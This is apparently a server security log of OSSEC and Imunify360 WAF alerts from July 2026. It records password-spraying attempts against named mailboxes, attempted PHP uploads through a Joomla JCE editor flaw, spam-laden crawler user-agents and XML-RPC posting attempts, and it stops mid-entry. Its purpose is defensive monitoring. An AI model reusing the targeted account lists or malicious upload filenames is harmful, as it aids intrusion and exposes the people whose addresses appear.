2026-07-20 04:26:40 dovecot_login authenticator failed for H=(syn-070-120-009-176.res.spectrum.com) [116.88.116.62]:62032: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-20 04:26:43 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([36.135.94.147]) [110.25.114.8]:50936: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.229.22.106
country_id: 6252001
description:
2026-07-20 04:26:54 dovecot_login authenticator failed for H=24.229.22.106.res-cmts.hzl2.ptd.net (211-23-194-216.hinet-ip.hinet.net) [24.229.22.106]:44327: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.171.43.162
country_id: 1733045
description:
2026-07-20 04:26:07 dovecot_login authenticator failed for H=([139.94.185.130]) [202.171.43.162]:47200: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.179.206.48
country_id: 6252001
description:
2026-07-20 04:27:15 dovecot_login authenticator failed for H=([94.100.98.105]) [72.179.206.48]:47563: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-20 04:32:09 dovecot_login authenticator failed for H=([77.41.156.64]) [210.5.117.238]:63901: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-20 04:32:17 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com (karuna.divineled.com) [90.230.226.175]:55246: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-20 04:33:53 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([68.113.199.243]) [89.67.246.166]:38137: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.105.15.219
country_id: 6252001
description:
2026-07-20 04:34:07 dovecot_login authenticator failed for H=([98.182.147.126]) [174.105.15.219]:34248: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.107
country_id: 2215636
description:
2026-07-20 04:38:07 dovecot_login authenticator failed for H=(nsg-static-82.71.76.182-airtel.com) [102.38.3.107]:48274: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.214.44.117
country_id: 149590
description:
2026-07-20 04:38:44 dovecot_login authenticator failed for H=(176.36.103.218.static.netvigator.com) [102.214.44.117]:57630: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.203.113.70
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2b1732712 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 45.156.248.100
country_id: 3277605
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php5||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-20 04:50:04 dovecot_login authenticator failed for H=([112.161.26.125]) [65.20.233.110]:53125: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-20 04:51:09 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([182.74.216.124]) [60.40.45.223]:65434: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.148.165.230
country_id: 6252001
description:
2026-07-20 04:51:22 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [141.148.165.230]:35110: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-20 04:52:42 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([184.181.217.198]) [89.152.82.108]:49968: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-20 04:52:32 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([49.124.153.29]) [89.67.37.52]:53558: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-20 04:54:52 dovecot_login authenticator failed for H=([49.124.151.54]) [101.13.4.120]:49792: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.216.140.244
country_id: 1668284
description:
2026-07-20 04:55:17 dovecot_login authenticator failed for H=61-216-140-244.hinet-ip.hinet.net (24-111-227-52-dynamic.midco.net) [61.216.140.244]:48520: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.98.120
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es55-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.189.92
country_id: 1835841
description:
2026-07-20 04:57:16 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [124.153.189.92]:52197: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.25
country_id: 1668284
description:
2026-07-20 04:57:44 dovecot_login authenticator failed for H=110-25-107-25.adsl.fetnet.net ([92.126.223.175]) [110.25.107.25]:51837: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-20 04:58:07 dovecot_login authenticator failed for H=(110-25-114-8.adsl.fetnet.net) [128.185.253.122]:56238: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://testimonials.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.216.166.27
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/811704908 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-20 05:02:36 dovecot_login authenticator failed for H=([196.188.187.85]) [182.73.109.194]:41298: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.154.175
country_id: 1733045
description:
2026-07-20 05:02:50 dovecot_login authenticator failed for H=([103.171.55.242]) [49.124.154.175]:47480: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-20 05:06:14 dovecot_login authenticator failed for H=(karuna.divineled.com) [210.118.224.138]:60246: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.77.163
country_id: 1269750
description:
2026-07-20 05:06:34 dovecot_login authenticator failed for H=(173-181-131-247-ent-barlow-staticipwest.wireless.telus.com) [116.74.77.163]:62213: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
2026-07-20 05:08:55 dovecot_login authenticator failed for H=(95.105.52.153.static.str.ufanet.ru) [59.97.52.95]:41308: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-20 05:09:16 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([178.74.110.94]) [24.105.160.100]:34166: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-20 05:10:51 dovecot_login authenticator failed for H=(ip4.gtt.net) [181.54.70.40]:60834: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-20 05:11:08 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com (183.82.108.109.actcorp.in) [90.230.168.26]:42460: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.169.67.105
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9a482402 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-20 05:12:36 dovecot_login authenticator failed for H=([45.228.190.124]) [71.12.42.216]:34804: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77469916
abuser: 196.115.176.244
country_id: 2542007
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceputw0ng0.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-20 05:12:20 dovecot_login authenticator failed for H=([49.124.159.194]) [196.0.113.110]:49290: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-20 05:14:11 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([70.166.167.42]) [83.191.181.23]:37212: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.3.210.204
country_id: 6252001
description:
2026-07-20 05:14:39 dovecot_login authenticator failed for H=160-3-210-204.cpe.sparklight.net ([27.115.113.138]) [160.3.210.204]:39887: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-20 05:14:42 dovecot_login authenticator failed for H=(95-31-209-102.broadband.corbina.ru) [70.88.108.12]:52572: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-20 05:14:49 dovecot_login authenticator failed for H=(ip103-31-38-92.cloudhost.web.id) [103.109.13.50]:49062: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.65.38.234
country_id: 1269750
description:
2026-07-20 05:14:51 dovecot_login authenticator failed for H=([125.143.247.123]) [182.65.38.234]:54652: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-20 05:15:04 dovecot_login authenticator failed for H=([128.185.116.114]) [197.219.208.38]:37904: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-20 05:15:06 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [218.233.182.39]:2792: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.78.156.46
country_id: 6252001
description:
2026-07-20 05:15:17 dovecot_login authenticator failed for H=(250.43.246.220.static.netvigator.com) [166.78.156.46]:49722: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.115.202.157
country_id: 3624060
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b2708161 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-20 05:17:45 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [220.77.214.59]:39698: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-20 05:18:18 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [210.5.117.238]:56347: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.57.67.198
country_id: 1522867
description:
2026-07-20 05:20:10 dovecot_login authenticator failed for H=95.57.67.198.dynamic.telecom.kz (105.84.107.200.flamingotv.net) [95.57.67.198]:47195: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-20 05:21:26 dovecot_login authenticator failed for H=(aes-static-102.79.144.59.airtel.in) [50.187.155.130]:54928: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-20 05:21:43 dovecot_login authenticator failed for H=([144.24.209.174]) [125.130.102.172]:33181: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-20 05:22:18 dovecot_login authenticator failed for H=([189.57.9.17]) [182.95.189.66]:37484: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77469916
abuser: 196.115.176.244
country_id: 2542007
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcew53vlk1p.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-20 05:29:51 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net ([212.104.70.143]) [1.34.229.12]:50646: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.237.198.139
country_id: 290291
description:
2026-07-20 05:30:07 dovecot_login authenticator failed for H=(static-ip-1815407040.cable.net.co) [87.237.198.139]:52255: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-20 05:31:20 dovecot_login authenticator failed for H=([89.218.247.234]) [185.15.82.135]:53188: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-20 05:31:04 dovecot_login authenticator failed for H=(ool-6038e495.static.optonline.net) [182.95.228.106]:44284: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 15.235.114.75
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.61.9.98
country_id: 3439705
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a13494445 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.96.149.127
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:69388.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d641592763b0326abc58dfc4be859f5e21915051||Title:0xef2b787e||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-20 05:39:49 dovecot_login authenticator failed for H=(119.92.76.213.static.pldt.net) [196.41.207.112]:51254: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-20 05:40:58 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee (111-70-32-49.emome-ip.hinet.net) [37.157.91.62]:42978: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.137.29.175
country_id: 6252001
description:
2026-07-20 05:40:26 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [174.137.29.175]:37898: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-20 05:40:40 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([218.21.250.151]) [67.43.243.158]:37344: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.104.223.133
country_id: 1835841
description:
2026-07-20 05:43:28 dovecot_login authenticator failed for H=([49.124.152.162]) [210.104.223.133]:48240: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-20 05:44:13 dovecot_login authenticator failed for H=(150.120.103.218.static.netvigator.com) [182.95.189.66]:50154: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 23.230.243.157
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 12.50.107.222
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://www.yy24.cn/\">\xe8\x90\xa5\xe5\x85\xbb\xe5\x8c\xbb\xe5\xad\xa6\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-20 05:51:53 dovecot_plain authenticator failed for H=(dration) [128.185.220.90]:36036: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.128.34
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3c2231593 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.146.111
country_id: 1819730
description:
2026-07-20 05:59:46 dovecot_login authenticator failed for H=([46.210.94.61]) [223.197.146.111]:50763: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.74.104.233
country_id: 1562822
description:
2026-07-20 05:59:55 dovecot_login authenticator failed for H=([196.207.177.56]) [115.74.104.233]:35166: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-20 05:59:57 dovecot_login authenticator failed for H=([103.30.112.214]) [196.0.113.110]:59085: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.82.143.196
country_id: 2921044
description:
2026-07-20 06:01:37 dovecot_login authenticator failed for H=dslc-082-082-143-196.pools.arcor-ip.net ([60.174.35.18]) [82.82.143.196]:61339: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.94.26
country_id: 1835841
description:
2026-07-20 06:01:59 dovecot_login authenticator failed for H=([199.91.128.98]) [211.252.94.26]:48802: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 184.55.165.100
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/542896386 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-20 06:07:52 dovecot_login authenticator failed for H=([184.185.2.1]) [196.188.93.169]:6233: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-20 06:08:23 dovecot_login authenticator failed for H=([31.130.35.29]) [117.250.19.91]:57706: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.48.41
country_id: 1835841
description:
2026-07-20 06:08:40 dovecot_login authenticator failed for H=([49.125.201.78]) [59.8.48.41]:51488: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.111.227.52
country_id: 6252001
description:
2026-07-20 06:09:57 dovecot_login authenticator failed for H=24-111-227-52-dynamic.midco.net ([49.125.201.87]) [24.111.227.52]:47298: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.37.214.12
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/743376517 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 149.62.41.71
country_id: 290557
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.icon-win.org/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-20 06:17:36 dovecot_login authenticator failed for H=([49.124.152.33]) [61.74.224.30]:61144: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-20 06:17:18 dovecot_login authenticator failed for H=(2-55-75-176.orange.net.il) [103.156.26.25]:59288: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-20 06:18:53 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([222.174.184.86]) [83.208.70.70]:38312: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-20 06:18:18 dovecot_login authenticator failed for H=([128.185.253.122]) [50.231.243.28]:60962: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-20 06:18:25 dovecot_login authenticator failed for H=([184.178.172.12]) [15.218.135.58]:45284: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-20 06:18:34 dovecot_login authenticator failed for H=([14.33.96.3]) [196.189.126.185]:59266: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.1.128
country_id: 1668284
description:
2026-07-20 06:23:58 dovecot_login authenticator failed for H=111-70-1-128.emome-ip.hinet.net ([37.192.47.229]) [111.70.1.128]:37294: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-20 06:24:07 dovecot_login authenticator failed for H=([180.94.75.90]) [128.185.33.241]:48006: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.33.26
country_id: 6252001
description:
2026-07-20 06:24:19 dovecot_login authenticator failed for H=wsip-72-215-33-26.pn.at.cox.net ([121.202.206.76]) [72.215.33.26]:54050: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-20 06:24:40 dovecot_login authenticator failed for H=([111.26.62.42]) [220.118.190.204]:29470: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-20 06:24:39 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net (l37-192-47-229.novotelecom.ru) [1.34.229.12]:33732: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-20 06:27:29 dovecot_login authenticator failed for H=(133.232.78.150.static.zoot.jp) [122.187.174.78]:42230: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-20 06:27:40 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net ([46.183.130.145]) [221.120.78.177]:41226: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.90.86.87
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/973621610 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-20 06:30:11 dovecot_login authenticator failed for H=(host-static-178-132-144-161.moldtelecom.md) [201.46.124.0]:2173: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-20 06:30:21 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net (static-ip-1815407040.cable.net.co) [110.25.112.132]:37316: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.52.161.203
country_id: 6252001
description:
2026-07-20 06:32:15 dovecot_login authenticator failed for H=(2.129.239.124.broad.ts.he.dynamic.163data.com.cn) [64.52.161.203]:46194: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-20 06:32:32 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([49.124.153.25]) [24.142.170.231]:50889: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-20 06:33:51 dovecot_login authenticator failed for H=([92.126.223.175]) [65.20.204.88]:59202: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.93.4.113
country_id: 3624060
